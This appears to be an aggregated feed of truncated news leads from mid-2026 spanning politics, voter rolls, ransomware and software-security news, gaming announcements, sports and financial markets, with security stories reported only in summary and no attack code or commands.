Harris Faulkner reports on Chicago's escalating violent crime, noting President Trump's repeated offers to deploy the National Guard to Chicago. Illinois Governor JB Pritzker and Chicago Mayor Brandon Johnson blast Trump's proposal, arguing he lacks understanding of local safety needs and has defunded institutions that keep people safe in Chicago. NEWYou can now listen to Fox News articles! A Memphis pizza restaurant that drew national attention after refusing to serve National Guard members says business is booming instead of busting, with supporters flocking to the restaurant in what some have dubbed a "buy-cott" after conservative activists called…

Sahara Reporters publisher Omoyele Sowore’s defence team informed the Federal High Court in Abuja of the plan to have the Director-General of the State Security Service (SSS), Adeola Ajayi, and presidential spokesperson, Bayo Onanuga summoned to appear as witnesses in his cyberbullying trial. Mr Sowore’s lead defence lawyer, Adeyinka Olumide-Fusika, said this after a subpoenaed SSS official, Uwem Davies, could not answer some questions from the defence team on Wednesday. The News Agency of Nigeria (NAN) reports that Mr Sowore, the presidential candidate of the African Action Congress (AAC) in the forthcoming 2027 general elections, is facing…

Kaspersky detailed ransomware cases in Colombia and Mexico where attackers exploited misconfigured systems Victims’ drives were locked with BitLocker, ransom notes printed via office printers New group “XEntry Team” claimed responsibility; misconfigurations remain a major breach risk Cybercriminals have, in true Hollywood fashion, started using office printers to notify victims they were struck by ransomware. Security researchers at Kaspersky have detailed two incidents which recently took place, one in Colombia, and one in Mexico, where cybercriminals took advantage of misconfigured systems. However both had the same outcome - the attackers used…

Swiss rail vehicle manufacturer Stadler Rail says the Everest ransomware gang demanded about $12.3 million after breaching a data exchange platform shared with one of its suppliers. The threat actor has not publicly claimed the attack, but the Swiss company says that it received an extortion letter from Everest ransomware asking for a ransom of 10 million Swiss francs. The company responded by saying that it will not pay the threat actor and filed a criminal complaint with the Thurgau cantonal police. "Stadler will not pay any ransom under any circumstances and is therefore not susceptible to extortion." Stadler Rail is a large, multinational Swiss…

More than 47 lakh voters, accounting for 8.48% of Karnataka’s electorate, have been flagged under various categories that could result in the possible deletion of their names from the electoral rolls during the ongoing Special Intensive Revision (SIR) of electoral rolls so far, according to data released by the Chief Electoral Officer (CEO), Karnataka, on Wednesday. The State has 5,54,32,314 electors on its rolls. As part of the house-to-house verification exercise that began on June 30, Booth Level Officers (BLOs) have so far identified 47,02,092 electors under the ASDDO category — Absent, Shifted, Dead, Duplicate (Already Enrolled) and Others. These…

One of the highest courts in Europe has described VPNs as "lawful technical tools which users may legitimately use" in a landmark case. The Court of Justice of the European Union made this remark as part of a larger judgement regarding the online publication of The Diary of Anne Frank. The case in question is a complex legal dispute over copyright. As the July judgement explains, the Anne Frank Fund will hold the rights to parts of the historical manuscripts until at least 2037. However, in some EU member states, such as Belgium, these works are in the public domain. The dispute centres on a Dutch translation of the diaries which was offered free…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The security research community makes GitHub safer for everyone. That’s the simple idea behind our bug bounty program. For more than a decade, researchers from around the world have helped us find and fix vulnerabilities before they could be exploited, and we’ve worked hard to be a program worth their time. Today, we’re sharing some meaningful changes to how the program works. These decisions comes after months of reflecting on our program, analyzing what’s happening across the industry, and thinking about researcher experience. What’s changed and why The program is facing an increasing queue. We have already made adjustments to accommodate the rise…

Fox News correspondent Eric Shawn reports on the Department of Justice launching an investigation into New Jersey voter roll software errors that registered 6,600 non-citizens to vote. Gov. Mikie Sherrill acknowledged that as many as 400 registered non-citizens cast ballots in state elections under former Gov. Phil Murphy. Department of Homeland Security Sec. Markwayne Mullin warned that up to 35,000 non-citizens may remain registered on New Jersey voter rolls. NEWYou can now listen to Fox News articles! Assistant Attorney General Harmeet Dhillon doubled down on the DOJ's demand for New Jersey's voter registration data Wednesday after Democratic Gov.…

Chief Principal Census Officer, Directorate of Census Operations, Tamil Nadu, M. Sundaresh Babu, addressing the media on Census 2027 in Madurai on Wednesday. \| Photo Credit: G. MOORTHY The process of self-enumeration under Phase I of Census 2027, which began on July 17, has received data from over 9,000 households in Madurai district so far, said Chief Principal Census Officer, Directorate of Census Operations, Tamil Nadu, M. Sundaresh Babu. While addressing the media, in the presence of Madurai Collector Nishanth Krishna here on Wednesday, Mr. Sundaresh Babu said that a 15-day window has been provided for the people to carry out self-enumeration…

About 6,600 people in New Jersey who said they were not U.S. citizens had been incorrectly registered to vote due to a technical error during the previous gubernatorial administration, Gov. Mikie Sherrill, who took office this year, said Tuesday. She added that fewer than 400 were found to have actually voted and that the state is taking action to remove them from its voter rolls. The admission came less than a week after Department of Homeland Security Secretary Markwayne Mullin sent letters to New Jersey and three other states alleging that those states might have tens of thousands of noncitizens registered to vote, although Mullin did not explain…

MOSCOW, July 22. /TASS/. Vladimir Zelensky tricked millions of people in Ukraine and beyond its borders into believing that he is devoid of any authoritarian tendencies, his former Press Secretary Yulia Mendel wrote on the X social network. Mendel said that during the two years as Zelensky’s press secretary, she "served as a shield for his mistakes, ignorance, and narcissism." "He was completely oblivious to what was happening in the country, government, or even his own office," she wrote. He is an actor with exceptional intuition, skilled at making people like him. \<…> Behind the scenes, there is chaos: mismanagement, narcissism, sexism, ignorance…

Fox News correspondent Eric Shawn reports on the Department of Justice launching an investigation into New Jersey voter roll software errors that registered 6,600 non-citizens to vote. Gov. Mikie Sherrill acknowledged that as many as 400 registered non-citizens cast ballots in state elections under former Gov. Phil Murphy. Department of Homeland Security Sec. Markwayne Mullin warned that up to 35,000 non-citizens may remain registered on New Jersey voter rolls. NEWYou can now listen to Fox News articles! Republican outrage went into overdrive after New Jersey Democratic Gov. Mikie Sherrill announced that the state had mistakenly registered 6,600…

Proton VPN's Stealth protocol is now available in beta for Linux GUI users The obfuscation feature disguises VPN traffic to better evade censorship It is currently supported on Debian, Ubuntu, and Fedora distros In a major win for open-source enthusiasts, Proton VPN has officially launched its proprietary Stealth protocol in beta for Linux. Known for being one of the best VPN services on the market, the Swiss provider is continuing its push to bring the Linux experience up to par with its Windows and Mac counterparts. Announced on its official Reddit account, the release introduces powerful obfuscation capabilities to the platform. In simple terms,…

Beware of low-price or early stock Samsung Galaxy pre-orders after the July 22 Galaxy Unpacked 2026 event. They might be too good to be true. Scammers will be praying on those looking for stocks of the just-announced Flip 8 and Fold 8 handsets and anyone looking for a cut-price deal or an early release unit should watch where they browse. There will be fake shops out there ready to take your money, your identity and maybe drop you some malware all at the same time. There are some simple things you can do before you buy, though. Check the URL of the store you're in. It may look like one you know but AI has made it incredibly easy to create and clone…

Governments have long warned not to pay a hacker’s ransom demands, arguing that doing so only lets criminals profit from their cyberattacks and funds the next one. There’s also another reason: The hackers are unlikely to leave you alone if you pay up once, and many will come back demanding more. In a report published Wednesday, cybersecurity giant Proofpoint said it surveyed 953 companies and found that over one-third of companies that paid a hacker’s ransom were hit with a second extortion demand. The findings underscore the long-held understanding among security researchers and network defenders that it’s impossible to negotiate in good-faith with…

Last week, in the wake of yet another round of mass layoffs across the company, Xbox announced that Fallout 5 is in preproduction, Fallout 3 and New Vegas remasters are coming, and that Obsidian are working on a new Fallout project. If you were to ignore the 1600 staffers laid off and the ongoing call for a boycott due to Microsoft providing AI tech to the Israeli military as it continues to bombard Gaza and kill Palestinians, this would possibly be welcome news. But to make matters worse, OneBGS, the Bethesda Game Studios Union, have claimed that on the same day this was announced, laid off workers at Bethesda Montreal were informed that they would…

Not to fully transform into the Pepe Silvia meme pointing at a wall of "evidence" but I'm convinced Blizzard is gearing up to announce something StarCraft-related at BlizzCon this year. The first reliable clue came from Bloomberg reporter Jason Schreier's 2024 book on Blizzard's history where he said the studio was "incubating" a StarCraft shooter (not that one) under the helm of former Far Cry producer Dan Hay. A couple of years passed with no news on that StarCraft project. But in April of this year, Blizzard was looking to hire a lead designer of innovation for an "AAA open-world shooter" using Unreal Engine—a game engine that it's never used…

BlizzCon, the once-annual gathering of Blizzard Entertainment fans, returns in September with fresh game reveals and updates, behind-the-scenes stories, and community events. While BlizzCon is focused on bringing people together, it's also marked by special in-game cosmetics and other perks that will give both attendees and viewers at home something to remember 2026's event by. On Wednesday, Blizzard announced a long list of BlizzCon 2026-themed skins, mounts, and in-game bonuses coming to games like World of Warcraft, Diablo 4, and Overwatch. The BlizzCon Digital Bundles and BlizzCon Ultimate Collection will let players choose to buy virtual goods…

Nothing gold can stay, as Robert Frost once wrote. But maybe it can go away for a while and come back again. Such is the case with Poinpy. The mobile game debuted in 2022 and it was available exclusively to Netflix subscribers. However, the streaming service pulled Poinpy from its lineup in June last year, rendering it nigh-on impossible to play. That saddened me immensely, as I utterly adore this game. At the time, publisher Devolver Digital said it hoped to bring Poinpy to other platforms in the future. Folks, the future is now and it's a beautiful one, because Poinpy is back on iOS and Android. Best of all, it's completely free. No…

If you had asked me in 2022 whether or not I’d still be writing about a seemingly endless onslaught of games industry mass layoffs in 2026, I’d have been confidently wrong in saying no. Yet here we are, four years after stories like this began to come out, and there’s no end in sight. We have rough numbers that barely capture the devastation: some 8500 in 2022, over 10,000 in 2023, over 14,000 in 2024, an optimistic-looking 5300 in 2025, but we’re already up to 4600 in 2026. And that’s the numbers we’ve been told about. Nevermind the many, many more individuals who were left out of those counts in quieter layoffs, or ones where major…

I hope you're not tired of looking at Psyduck for hours as The Pokémon Center's queue timer counts down, because there are more trading card game products to buy. This drop, surprisingly, is not for the 30th anniversary TCG collection. Instead, what's dropping is a mishmash of a few highly-regarded Pokémon sets. What's available for purchase right now includes: Pokémon TCG: Scarlet \& Violet-151 Mini Tin (Gengar \& Omanyte) — 2 packs, $9.99 Pokémon TCG: Mega Evolution Ascended Heroes Collection (Larry \& Erika) — 2 packs, $9.99 Pokémon TCG Poké Ball Tin — 3 packs, $14.99 Each product has a purchase limit of one per household. Wait times are high, like…

One year after disappearing from mobile storefronts, Devolver Digital’s Poinpy has made a surprise return to iOS and Android. Better yet, the former Netflix exclusive is entirely free. If you slept on it when it first launched, don’t miss your chance to right that wrong and enjoy one of the best mobile games of the 2020s. Poinpy, a mobile platformer created by Downwell director Ojiro Fumoto,has a bit of a strange history that highlights the pitfalls of mobile gaming. It originally launched on June 10, 2022, as part of Netflix’s then-young video game push. It was the headliner in a wave of original indie projects that would launch over the next few…

Your old Xbox library just found a new home. Microsoft has launched Xbox Backward Compatibility on PC, letting you play classic original Xbox titles on Windows and handhelds for the very first time. Which Xbox games can you play on PC? Four classic titles kick off the program today. You can jump into Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge, and Fuzion Frenzy right now on supported PCs and handhelds like the Xbox Ally and Xbox Ally X. Each game is available to purchase individually, and all four come included with every Xbox Game Pass tier. If you already own a digital license for these titles on console,…

As it continues to try smoothing the waters churned up by the recent layoff of thousands of people, Xbox has followed up last week's big Fallout infodump with the launch of a new "Backward Compatibility on PC" program that will bring old-time Xbox games, previously exclusive to the platform, to PC and compatible handhelds for the first time. The program is launching with four "classic original XBOX games," as Microsoft described them. I'm not sure I'd use that characterization myself, but to be fair I haven't played any of these games (although I did enjoy the original Crimson Skies), and PC Gaming Show maestro Jake Tucker informs me that "Conker was…

Some of your favorite OG Xbox titles may finally be available on PC, 26 years after they first hit the scene. It’s a move that makes the current-gen Xbox consoles seem even more like relics of a dying ecosystem. That’s because Xbox needs to bring its entire library, past and present, to a future PC-like console. The backwards compatibility team at Xbox is first bringing four games, rolling out today, that you certainly remember from your days on the original Xbox: Fuzion Frenzy, BLiNX: The Time Sweeper, Crimson Skies: High Road to Revenge, and Conker: Live and Reloaded. None of these games were ever made natively available on PC prior to now, at…

Ah, the Electronic Entertainment Expo, better known by many as Summer Game Fes-, wait, sorry, guess I've already moved on! Better known as E3, of course, the first of its kind showcase dedicated entirely to video games that died because it simply couldn't figure out how to live in the modern world (they probably should have asked Geoff). The whole thing ended with much more of a whimper than a bang, but once upon a time it was the place to have your game. And now, the Video Game History Foundation have revealed a new collection all about the event "like you've never seen it before," covering many years worth of a range of materials. "Over the past…

Everyone knows that the best part of any convention is the merch, but San Diego Comic-Con swag is S-tier. Hundreds of big companies and independent artists bring exclusive goods to the convention floor for lucky attendees to purchase. The rest of us can only look on enviously, but hey, that’s still pretty fun, right? Check out some of the coolest SDCC 2026 exclusives below. Yesterdays x Reigning Phoenix Music Transformers: The Movie: The Soundtrack – The Reformatted Edition Cassette Box Set Soundwave-themed box© Yesterdays/Reigning Phoenix Music/Hasbro Music Laserbeak variant © Yesterdays/Reigning Phoenix Music/Hasbro Music Ravage variant ©…

The major contemporary art event had allowed Russia to return to the festival and present a pavilion there in May, before closing it to the public, sparking controversy and leading the festival's jury to resign.

With Star Wars Zero Company, developer Bit Reactor aims to create a tactics RPG with characters and narrative at the forefront. It's got proper, big-budget cutscenes, you can talk to your buddies, and you can customise and upgrade your squad. However, the developers have gone on record in a new Discord Q\&A to say, no, don't expect to have control over how the story unfolds. Earlier this year, our own Ted Litchfield spoke to narrative director Aaron Contreras, who explained that while Bit Reactor wants its cast to have real friction, Star Wars Zero Company is "not a personal fantasy game." Those "player-centric romance" options that seem to pop up in…

Four original Xbox titles just arrived on PC The games are all available to buy or via any Xbox Game Pass plan They're part of a new Xbox backward compatibility on PC program Microsoft just launched a new Xbox backward compatibility on PC program that makes it possible to officially play a selection of original Xbox games on Windows for the very first time. As detailed in a new Xbox Wire post, the program is geared towards both traditional laptops and desktops in addition to handheld PCs such as the ROG Xbox Ally and Xbox Ally X and currently includes four games: Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge,…

By The Canadian Press The Canadian Press Posted July 22, 2026 12:42 pm Updated July 22, 2026 12:45 pm 1 min read Descrease article font size Increase article font size CALGARY – Damien Alford is returning to the Calgary Stampeders. The CFL team announced Wednesday that they’ve signed the Canadian wide receiver and defensive back Lance Boykin. Calgary (2-4) selected Alford first overall out of Syracuse in the 2025 CFL draft. He totalled 20 receptions for 407 yards and five touchdowns across 15 games last season. Related Videos 2:09 Touchdown Kelowna projects local business boost Previous Video Next Video Story continues below advertisement The…

As another LeBron decision looms, Heat say news conference video was mistake The Washington PostHeat say link for LeBron James presser posted by mistake ESPNMiami Heat mistakingly post YouTube livestream titled ‘LeBron James Introductory Press Conference’ Inquirer.comLeBron James Warned Against Joining Miami Heat: ‘Don’t Like the Roster’ Yahoo SportsHeat say link for LeBron James introductory presser was a mistake The New York Times

Katelyn Ohashi smiles after competing on the balance beam at the 2026 U.S. Classic in Hartford, Conn., on July 18. USA Gymnastics Despite dazzling audiences last week in Hartford at the U.S. Classic, Katelyn Ohashi’s elite gymnastics comeback may have hit a roadblock. While the door remains open for Ohashi’s team to petition USA Gymnastics for a championship bid, that path took an apparent detour this week. Needing a steep 26.800 qualifying score to advance to August’s U.S. Championships in Phoenix, the 29-year-old fell short by nearly four-tenths in Connecticut. After sharing the updated list of qualifiers for August’s championships, USA Gymnastics…

Game preservation is a hot topic at the minute amid Sony's decision to stop making PlayStation discs. Xbox has arguably done a better job that front over the last several years thanks in large part to its backward compatibility efforts on consoles. It's now expanding those to more platforms with the Xbox Backward Compatibility on PC program. "Your library is more than just a collection of games. It is your personal history of epic stories and treasured memories from the past," Jason Ronald, Xbox's vice-president next generation, wrote in a blog post. "And as players, we don't want to leave our gaming legacy behind even as technology continues to…

Months before 2026 even began, there was a palpable feeling in the air that it was going to be a significant year for games. Grand Theft Auto 6, Resident Evil Requiem, and Marvel’s Wolverine alone seemed like a generation-defining trio in the making. But truly special gaming years aren’t entirely defined by their biggest blockbusters; it’s often the surprises between those tentpole moments that give us the best games of the year. That’s certainly held true so far in 2026. Three months in and we’ve already had so many gems, big and small, that we could put together a pretty killer year-end list today and be happy with it. Don’t worry, we’ll save that…

OpenAI's rogue AI agent reinforced a cybersecurity threat experts have long anticipated — and Jim Cramer said there's one stock built for exactly this moment: CrowdStrike . "CrowdStrike will be the stock you should buy this morning," Jim said during Wednesday's Morning Meeting . " While acknowledging the stock has had a big move in 2026, he said, "I think it's a must-buy." OpenAI disclosed late Tuesday that one of its advanced AI agents escaped a controlled testing environment during a cybersecurity evaluation, gained internet access, and ultimately compromised the infrastructure of AI startup Hugging Face, before the activity was detected and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Business leaders, entrepreneurs and members of Nigeria’s literary community gathered in Lagos on Monday for the public presentation of The Challengers, a book by Nigerian author Eghosa Imasuen, which chronicles the journey of the founders of VFD Group. The event, held at the Radisson Blu Anchorage Hotel, brought together executives, policymakers, media personalities and young professionals to discuss entrepreneurship, leadership and the lessons behind building an enduring organisation. The book tells the story of how five friends, Nonso Okpala, Adeniyi Adenubi, Mobolaji Adewumi, Gbenga Omolokun and Azubike Emodi, came together following the 2008…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Welcome back to Minor Dilemmas, where a member of Defector's Parents Council will answer your questions on surviving family life. Have a question? Email us at minordilemmas@defector.com. This week, Giri answers a question about how parenting can reorient your life. Anonymous: My wife and I are new parents, and before our baby was born I decided I would become the full time stay-at-home parent. I wanted to give my kid a chance for an upbringing similar to mine, and luckily my wife's career should provide for the family. As my wife's maternity leave gets closer to its end, I'm excited but also anxious about what happens next. My wife's work will mean…

security Linux kernel team publishes 432 CVEs in two days Sunday-to-Monday onslaught fuels speculation over AI-assisted bug reports If you're responsible for Linux security, someone just dumped a pile of work onto your desk: 432 Linux kernel CVEs were published across Sunday and Monday this week. Linux watchers at nixCraft pointed out the volume on Monday morning, and it didn’t take long for seasoned sysadmins to start expressing concerns. Jan Schaumann, chief information security architect at Akamai Technologies, took to the OSS-SEC mailing list Tuesday to express concerns over the sheer volume of Linux kernel CVEs published in recent days. Aside…

Taylor Kerns / Android Authority TL;DR Google Photos is working on improving how you select and copy text in images. We have spotted a new button that will appear when the app detects text in a picture. Google also appears to be expanding its Expressive UI design to more Settings pages. Google is once again working on a couple of changes for the Photos app. Earlier this month, we told you about Ask Photos possibly letting users edit their image metadata. This time, the Photos team is developing a better way to select and copy text from an image. On top of that, Material 3 Expressive is expanding to more areas in the app. Let’s dive in and check out…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Reddit users, bored waiting for more information about the forthcoming FromSoftware Switch 2 exclusive The Duskbloods, have just been making up details about it for themselves. As reported by Ian Walker (I recognize that name from somewhere) over on Video Game Town, this “Duskposting”—where users make up imaginary bosses from the game, detail them, and even write guides for how to beat them—has been popular since the game’s announcement. It’s all good harmless fun, right up until the LLMs mindlessly scrape the made-up information and then present it to the rest of the world as stone-cold fact. One of the most fundamental flaws of LLMs like…

security Releases now reject new files after 14 days The Python Package Index (PyPI) now rejects new files being uploaded to releases that are older than 14 days. This restriction was put in place to prevent old and long-stable releases from being poisoned in case publishing tokens or workflows of PyPI projects were compromised. As far as we are aware this has not yet been abused, but there is no technical reason beyond that attackers weren't aware it was possible. Users should not yet rely on this behavior as there are no defined semantics for "releases no longer accepting new files" or APIs available to confirm the state of the release. Instead,…

Hasbro recently blew Nintendo fans' minds with the announcement that they've acquired the license for The Legend of Zelda games, opening the door to new figures of Link, Princess Zelda, and the rest of the gang. Thankfully, they aren't making us wait long to see the first fruits of that new partnership. Hasbro is unveiling the first three The Legend of Zelda: Heroes of Hyrule figures at Comic-Con, and IGN can exclusively debut images of the whole set. Check out the slideshow gallery below to see Hasbro's first figures of Link, Zelda, and Ganondorf: Hasbro's The Legend of Zelda: Heroes of Hyrule Figures - Image Gallery It's important to note that all…

What this post is: a step-by-step tour of a from-scratch CUDA inference runtime for Qwen2.5-Coder-7B-Instruct on NVIDIA H100 (`sm_90`) — every hot path annotated for why, not just what. What the runtime does today: greedy graph-tier token match passes on H100 at ≤4096 context, steady-state decode lands around \~16.7 ms/token (\~60 tok/s), and first-token latency is \~128 ms for a 512-token prompt. The one number that made everything else make sense: eager decode was \~119 ms/token. Wrapping decode in a captured CUDA graph collapsed that to \~17 ms/token. A 7× win — same kernels, just less driver. Three bugs did most of the teaching: __syncthreads()…

GitHub has redesigned the navigation architecture behind GitHub Issues to reduce perceived latency for developers by moving more work to the client-side. The engineering team introduced client-side caching, predictive prefetching, and service worker-based request handling to improve navigation performance, increasing instant navigation experiences from 4% to 22%. The changes address a common challenge in large-scale web applications: reducing delays caused by repeated network requests and client initialization during frequently repeated workflows. The work focused on GitHub Issues users who frequently navigate between issues, lists, and related views,…

Dr. Michelle Lynn Thaller, Tanya Thompson and Tony Cutraro discuss their heart-pounding grizzly bear encounter in Alaska. The hikers, who were at Anan Creek wildlife observatory, detail how they remained calm and followed ranger protocols, talking to the large animal as it passed them on the trail. This close call highlights the importance of wildlife safety. Being a wildlife photographer isn’t for the faint of heart. It takes patience, preparation and enough knowledge of animal behavior to understand when to stay put, when to move and when to get the heck out of there. CLICK HERE FOR MORE COVERAGE FROM OUTKICK And sometimes, it requires a little ice…

Let's learn about Csharp via these 207 free blog posts. They are ordered by HackerNoon reader engagement data. Visit the Learn Repo or LearnRepo.com to find the most read blog posts about any technology. Like Java, but it sucks less. In this post I'll show how to maintain a standard for everyone who works in the code, no matter the editor used. The Factory pattern allows developers to create objects without specifying the exact class of object that will be created. A couple of weeks ago I wrote an article about building and deploying a Blazor app without touching a Windows machine and realized maybe I should take a step back and explain what Blazor is…

Superquiz, Thursday, July 23 Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA By Andrew Brooks Try our Mini Crossword Ten clues. Twenty-five squares. How quickly can you solve this bite-sized puzzle? Track your winning streaks and challenge family and friends by sharing your results. Premium subscribers to The Age can play the Mini Crossword (and all our puzzles, including Target Time) here and premium subscribers to The Sydney Morning Herald can play them here. Save You have reached your maximum number of saved items. Remove items from your saved list to add more.

We start this week with Joseph’s story on how cops are using Flock to track actual people, not just cars, with searches like “male with tattoos.” After the break, Emanuel tells us all about the company that is explicitly selling mountains of books to AI companies and promising to keep the sales a secret. In the subscribers-only section, Jason tells us how he learned about the Suno hack and what it showed us. Listen to the weekly podcast on Apple Podcasts,Spotify, or YouTube. Become a paid subscriber for access to this episode's bonus content and to power our journalism. If you become a paid subscriber, check your inbox for an email from our podcast…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The Out-of-Touch Adults' Guide is your roadmap to what the younger people are up to. This week, discussions of what "quiet on the creek" means, why kids are calling each other "Tylenol babies," and what "corny on the bob, off the bob" means take us into some surprisingly choppy water. Because just like all of us, young people are wrestling with cultural appropriation, questionable health advisories, and issues of race and identity. But they're doing it with memes. What does "quiet on the creek" mean? Kids are exhorting one another to be "quiet on the creek" this week, usually in a stage whisper. The phrase's definition should be familiar to any…

Clavicular discusses the philosophy of 'looksmaxxing' on 'Hangout with Hannity.' NEWYou can now listen to Fox News articles! Viral influencer Clavicular revealed his thoughts on "incel culture" — an online subculture of mostly young, heterosexual men who identify as "involuntary celibates," and are often stigmatized as misogynistic — as well as modern dating culture amid his controversial streaming antics. The 20-year-old internet personality, whose real name is Braden Peters, sat down with Fox News host Sean Hannity for the July 21 episode of "Hang Out with Sean Hannity." When asked about his content strategy and his views on women, Clavicular…

Paraguay · Business Key Facts —Export value. Raw soybean exports hit US$2.273 billion in H1 2026, up from US$1.506 billion a year earlier. —Volume shipped. Paraguay moved 5.89 million tonnes of raw soybeans abroad, a 43.5% rise from 4.11 million tonnes. —Top buyer. Argentina absorbed 86% of Paraguayan soybean exports, using them for its domestic crushing industry. —Economic weight. Soybeans and the broader soy complex accounted for roughly US$2.67 billion of Paraguay’s total US$10.16 billion in exports. —Price factor. Stronger international prices combined with a recovered harvest to amplify export revenue. Paraguay’s raw soybean exports soared 50.9%…

Mexico · Business Key Facts —Net profit. MX$15.55 billion (US$888.6 million) in Q2 2026, a 6% year-on-year increase. —Loan portfolio. Performing loans grew 8% to more than MX$1.27 trillion (US$72.8 billion). —Net interest income. Reached MX$37.61 billion (US$2.15 billion) for the quarter. —Exchange rate. Banorte’s results used a closing rate of 17.50 pesos per US dollar at end-June 2026. —Capital move. The bank recently raised fresh funds through a capital-notes issuance to bolster its balance sheet. Banorte, one of Mexico’s largest financial groups, closed the second quarter of 2026 with a net profit of MX$15.55 billion (US$888.6 million), a 6…

MOSCOW, July 22. /TASS/. The MOEX Index rose 2.76% to 2,136.11 points at the close of the main trading session, while the dollar-denominated RTS Index advanced 2.86% to 857.49 points. The yuan edged down 5 kopecks to 11.54 rubles. "The MOEX Index got off to an unconvincing start today, but the initial profit-taking had to be canceled as the benchmark soared above 2,100 points on the back of geopolitical news and surging commodity prices," Andrey Smirnov, stock market expert at BCS World of Investments, said. According to Finam Financial Group, the top gainers were Pharmsintez (+17.7%), Genetico (+17.1%), Raspadskaya (+7.7%), Polyus (+7.1%), Seligdar…

A $12,000 CD account can produce a return worth hundreds of dollars for savers in a relatively short amount of time. MERTEREN/merteren/Getty Images A report earlier this month showing inflation declining in June was a step in the right direction for millions of Americans, but it also underlined the work that still lies ahead. With the inflation rate still more than a full percentage point above the Federal Reserve's target 2% goal and interest rates remaining elevated largely because of that, many savers find themselves reevaluating their strategies. And that could lead to a transfer of funds out of a traditional savings account – which comes with a…

Charles Mutoka, a 72-year-old Kenyanis in mourning for his son, Oscar Khagola Mutoka, a former soldier who traveled to Russia in the summer of 2025 to look for work. His father said that he had tried in vain to talk him out of it. Oscar did not tell him and the rest of his family exactly where he was going but a week after leaving he sent a picture of himself in uniform and never got back in touch again. His family found out that he had died some time later but, despite appeals to the Kenyan authorities, they were not able to recover the body. In May 2026, the family held a symbolic memorial service and set up a makeshift burial site for Oscar, in…

As a rule, I don't recommend new chart-based trades when a company is within two weeks of reporting earnings. However, it's still important to understand where the charts of the market's biggest stocks stand heading into their reports — especially with two "Magnificent Seven" components set to release results this evening. With that in mind, today we're taking a technical look at Alphabet (GOOGL) and the key price levels and patterns that could shape its next move. As you may recall, heading into its late April earnings report, GOOGL had already rallied about 30% off its low just a few weeks earlier. That wasn't unique. In fact, many large-cap growth…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Check out the companies making the biggest moves midday: Super Micro Computer — Shares surged 25% after the server maker reported preliminary fourth-quarter results that featured much stronger profitability than investors had expected, offsetting revenue that came in near the low end of its guidance. EQT — Shares are up over 6.6% after the natural gas producer reported stronger-than-expected production for the second quarter. EQT also raised it's 2026 sales volume guidance to 2,375–2,450 billions of cubic feet equivalent, or bcfe, from 2,275–2,375 bcfe. Amazon — Shares of the e-commerce and cloud services giant slid 1%. Amazon trimmed jobs in its…

Every weekday, the CNBC Investing Club with Jim Cramer holds a "Morning Meeting" livestream at 10:20 a.m. ET. Here's a recap of Wednesday's key moments. 1. The S \& P 500 is little changed Wednesday, pressured by a rise in oil prices. West Texas Intermediate crude traded 2% higher, above $86 per barrel, following another round of U.S. strikes against Iran. Club holding Honeywell is up today after rising 1.6% Tuesday on strong earnings from fellow industrial stock 3M . Jim Cramer cautioned against adding Honeywell shares ahead of the company's earnings, before the opening bell on Thursday. "This stock always goes down on earnings," he said. "I don't…

Pakistan has quietly approached the Trump administration for a $10 billion “exchange stabilization facility,” a financial lifeline that would shore up its fragile economy even as it seeks to capitalize on its renewed diplomatic importance in the Middle East. The request, first reported by Reuters, was made directly to US treasury secretary Scott Bessent and envisions a five-year facility designed to strengthen Pakistan's foreign exchange reserves and ease pressure on its rupee. US sources say the proposal is under consideration and no decision has been made. If approved, the arrangement would be unusual because since 2002 the US Treasury…

U.S. President Donald Trump’s trade czar on Wednesday defended the plan to impose new 50 per cent tariffs on Canada, claiming the goal is to “improve our trading relationship,” with work ongoing to develop “options” on renewing the Canada-U.S. Mexico Agreement on free trade (CUSMA). Speaking at a U.S. Senate finance committee hearing, U.S. Trade Representative Jamieson Greer said he’s hopeful those options, which he called “interim arrangements” to address outstanding issues with the trade pact, will be presented to the leaders of all three countries before the end of this year. “I’m hopeful that before the end of the year we can have at least options…

